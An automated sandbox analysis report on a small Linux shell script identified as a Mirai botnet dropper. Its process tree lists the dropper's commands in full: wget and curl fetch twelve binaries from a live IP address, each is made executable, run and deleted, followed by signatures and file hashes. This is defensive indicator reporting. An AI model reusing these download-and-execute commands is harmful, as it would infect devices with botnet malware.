Analysis

  • max time kernel
    135s
  • max time network
    136s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/06/2026, 00:05

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260624-adjccshs2x
  • SHA256 dcb2e53eaeb334e77769eede9700b4a544e013b70c337a61ebb0513243393ac2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 46 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:650
    • /usr/bin/wget
      wget http://5.182.210.61/c42e24
      2⤵
      • Writes file to tmp directory
      PID:657
    • /usr/bin/curl
      curl -O http://5.182.210.61/c42e24
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:674
    • /bin/chmod
      chmod 777 c42e24
      2⤵
      • File and Directory Permissions Modification
      PID:679
    • /tmp/c42e24
      ./c42e24 bc
      2⤵
        PID:680
      • /bin/rm
        rm -rf c42e24
        2⤵
          PID:682
        • /bin/rm
          rm -rf c42e24.1
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://5.182.210.61/a14b12
            2⤵
            • Writes file to tmp directory
            PID:684
          • /usr/bin/curl
            curl -O http://5.182.210.61/a14b12
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:685
          • /bin/chmod
            chmod 777 a14b12
            2⤵
            • File and Directory Permissions Modification
            PID:686
          • /tmp/a14b12
            ./a14b12 bc
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:687
          • /bin/rm
            rm -rf a14b12
            2⤵
              PID:689
            • /bin/rm
              rm -rf a14b12.1
              2⤵
                PID:692
              • /usr/bin/wget
                wget http://5.182.210.61/108b2a
                2⤵
                • Writes file to tmp directory
                PID:693
              • /usr/bin/curl
                curl -O http://5.182.210.61/108b2a
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:696
              • /bin/chmod
                chmod 777 108b2a
                2⤵
                • File and Directory Permissions Modification
                PID:708
              • /tmp/108b2a
                ./108b2a bc
                2⤵
                  PID:710
                • /bin/rm
                  rm -rf 108b2a
                  2⤵
                    PID:711
                  • /bin/rm
                    rm -rf 108b2a.1
                    2⤵
                      PID:713
                    • /usr/bin/wget
                      wget http://5.182.210.61/09a96c
                      2⤵
                      • Writes file to tmp directory
                      PID:714
                    • /usr/bin/curl
                      curl -O http://5.182.210.61/09a96c
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:726
                    • /bin/chmod
                      chmod 777 09a96c
                      2⤵
                      • File and Directory Permissions Modification
                      PID:741
                    • /tmp/09a96c
                      ./09a96c bc
                      2⤵
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:743
                    • /bin/rm
                      rm -rf 09a96c
                      2⤵
                        PID:746
                      • /bin/rm
                        rm -rf 09a96c.1
                        2⤵
                          PID:750
                        • /usr/bin/wget
                          wget http://5.182.210.61/c3312a
                          2⤵
                          • Writes file to tmp directory
                          PID:751
                        • /usr/bin/curl
                          curl -O http://5.182.210.61/c3312a
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:754
                        • /bin/chmod
                          chmod 777 c3312a
                          2⤵
                          • File and Directory Permissions Modification
                          PID:755
                        • /tmp/c3312a
                          ./c3312a bc
                          2⤵
                            PID:756
                          • /bin/rm
                            rm -rf c3312a
                            2⤵
                              PID:758
                            • /bin/rm
                              rm -rf c3312a.1
                              2⤵
                                PID:759
                              • /usr/bin/wget
                                wget http://5.182.210.61/418957
                                2⤵
                                • Writes file to tmp directory
                                PID:760
                              • /usr/bin/curl
                                curl -O http://5.182.210.61/418957
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:761
                              • /bin/chmod
                                chmod 777 418957
                                2⤵
                                • File and Directory Permissions Modification
                                PID:766
                              • /tmp/418957
                                ./418957 bc
                                2⤵
                                  PID:768
                                • /bin/rm
                                  rm -rf 418957
                                  2⤵
                                    PID:770
                                  • /bin/rm
                                    rm -rf 418957.1
                                    2⤵
                                      PID:772
                                    • /usr/bin/wget
                                      wget http://5.182.210.61/7d200e
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:774
                                    • /usr/bin/curl
                                      curl -O http://5.182.210.61/7d200e
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:784
                                    • /bin/chmod
                                      chmod 777 7d200e
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:795
                                    • /tmp/7d200e
                                      ./7d200e bc
                                      2⤵
                                        PID:796
                                      • /bin/rm
                                        rm -rf 7d200e
                                        2⤵
                                          PID:799
                                        • /bin/rm
                                          rm -rf 7d200e.1
                                          2⤵
                                            PID:801
                                          • /usr/bin/wget
                                            wget http://5.182.210.61/53d8b8
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:802
                                          • /usr/bin/curl
                                            curl -O http://5.182.210.61/53d8b8
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:805
                                          • /bin/chmod
                                            chmod 777 53d8b8
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:806
                                          • /tmp/53d8b8
                                            ./53d8b8 bc
                                            2⤵
                                              PID:807
                                            • /bin/rm
                                              rm -rf 53d8b8
                                              2⤵
                                                PID:809
                                              • /bin/rm
                                                rm -rf 53d8b8.1
                                                2⤵
                                                  PID:810
                                                • /usr/bin/wget
                                                  wget http://5.182.210.61/fdbcb8
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:811
                                                • /usr/bin/curl
                                                  curl -O http://5.182.210.61/fdbcb8
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:812
                                                • /bin/chmod
                                                  chmod 777 fdbcb8
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:813
                                                • /tmp/fdbcb8
                                                  ./fdbcb8 bc
                                                  2⤵
                                                    PID:814
                                                  • /bin/rm
                                                    rm -rf fdbcb8
                                                    2⤵
                                                      PID:816
                                                    • /bin/rm
                                                      rm -rf fdbcb8.1
                                                      2⤵
                                                        PID:817
                                                      • /usr/bin/wget
                                                        wget http://5.182.210.61/e08f7e
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:818
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.61/e08f7e
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:819
                                                      • /bin/chmod
                                                        chmod 777 e08f7e
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:820
                                                      • /tmp/e08f7e
                                                        ./e08f7e bc
                                                        2⤵
                                                          PID:821
                                                        • /bin/rm
                                                          rm -rf e08f7e
                                                          2⤵
                                                            PID:823
                                                          • /bin/rm
                                                            rm -rf e08f7e.1
                                                            2⤵
                                                              PID:824
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.61/752cf3
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:825
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.61/752cf3
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:826
                                                            • /bin/chmod
                                                              chmod 777 752cf3
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:827
                                                            • /tmp/752cf3
                                                              ./752cf3 bc
                                                              2⤵
                                                                PID:828
                                                              • /bin/rm
                                                                rm -rf 752cf3
                                                                2⤵
                                                                  PID:829
                                                                • /bin/rm
                                                                  rm -rf 752cf3.1
                                                                  2⤵
                                                                    PID:830
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.61/36778c
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:831
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.61/36778c
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:832
                                                                  • /bin/chmod
                                                                    chmod 777 36778c
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:833
                                                                  • /tmp/36778c
                                                                    ./36778c bc
                                                                    2⤵
                                                                      PID:834
                                                                    • /bin/rm
                                                                      rm -rf 36778c
                                                                      2⤵
                                                                        PID:836
                                                                      • /bin/rm
                                                                        rm -rf 36778c.1
                                                                        2⤵
                                                                          PID:837

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            09a96c

                                                                            • Path /tmp/09a96c
                                                                            • Size 117KB
                                                                            • SHA256 8357e5ce33843cc608dd8d36f2f782a78c3ae6001324b52d9b877d3571818e88
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            108b2a

                                                                            • Path /tmp/108b2a
                                                                            • Size 40KB
                                                                            • SHA256 deae8b8f3adf3c9517f537cc28aeda5541ef996d4af85d5a804c0257b08dfdb2
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            36778c

                                                                            • Path /tmp/36778c
                                                                            • Size 42KB
                                                                            • SHA256 459d8396f635b67eb1324e553de8187306a108f4f0f7d78792cd3abfcbcfe900
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            418957

                                                                            • Path /tmp/418957
                                                                            • Size 63KB
                                                                            • SHA256 ad30815f17aa159560014af28a3022e4bc6bd901ab454bdc2fe067ec1436b47d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            53d8b8

                                                                            • Path /tmp/53d8b8
                                                                            • Size 49KB
                                                                            • SHA256 3a4b1b5eb7f348e86ac9d6e13e71a29804303f93dd89e82cbffc757e2c65ab48
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            752cf3

                                                                            • Path /tmp/752cf3
                                                                            • Size 57KB
                                                                            • SHA256 3b1e5dc338ee8e4793d1d2183ca0343c87797ce163406ef686f011a70721233d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            7d200e

                                                                            • Path /tmp/7d200e
                                                                            • Size 45KB
                                                                            • SHA256 0e596de45a903f2021988805644dcdcfb5455885c36bcb6a2d4af0743b83dbce
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            a14b12

                                                                            • Path /tmp/a14b12
                                                                            • Size 48KB
                                                                            • SHA256 e75d0ad374ac610f53a440128ce5a3be8ffd016fc5ef16cc1d029d465f0f9f36
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            c3312a

                                                                            • Path /tmp/c3312a
                                                                            • Size 42KB
                                                                            • SHA256 d5b4241db6212225218b685016c6388e7db74013c20d536d9a82f61bab6a127a
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            c42e24

                                                                            • Path /tmp/c42e24
                                                                            • Size 47KB
                                                                            • SHA256 df7c62b363067b9246e07bc11a5baf073492058e76d4e55a47d7b76ddb720860
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            e08f7e

                                                                            • Path /tmp/e08f7e
                                                                            • Size 45KB
                                                                            • SHA256 6d5869023af5ef528acdc1c43aab42fd7e764ff9e232320e8c3d9c7e30033209
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            fdbcb8

                                                                            • Path /tmp/fdbcb8
                                                                            • Size 61KB
                                                                            • SHA256 de2ce4c85ca73390b92b7fa401b361e67268aead7abb9aa0e0a6e1aad3ed2d79
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH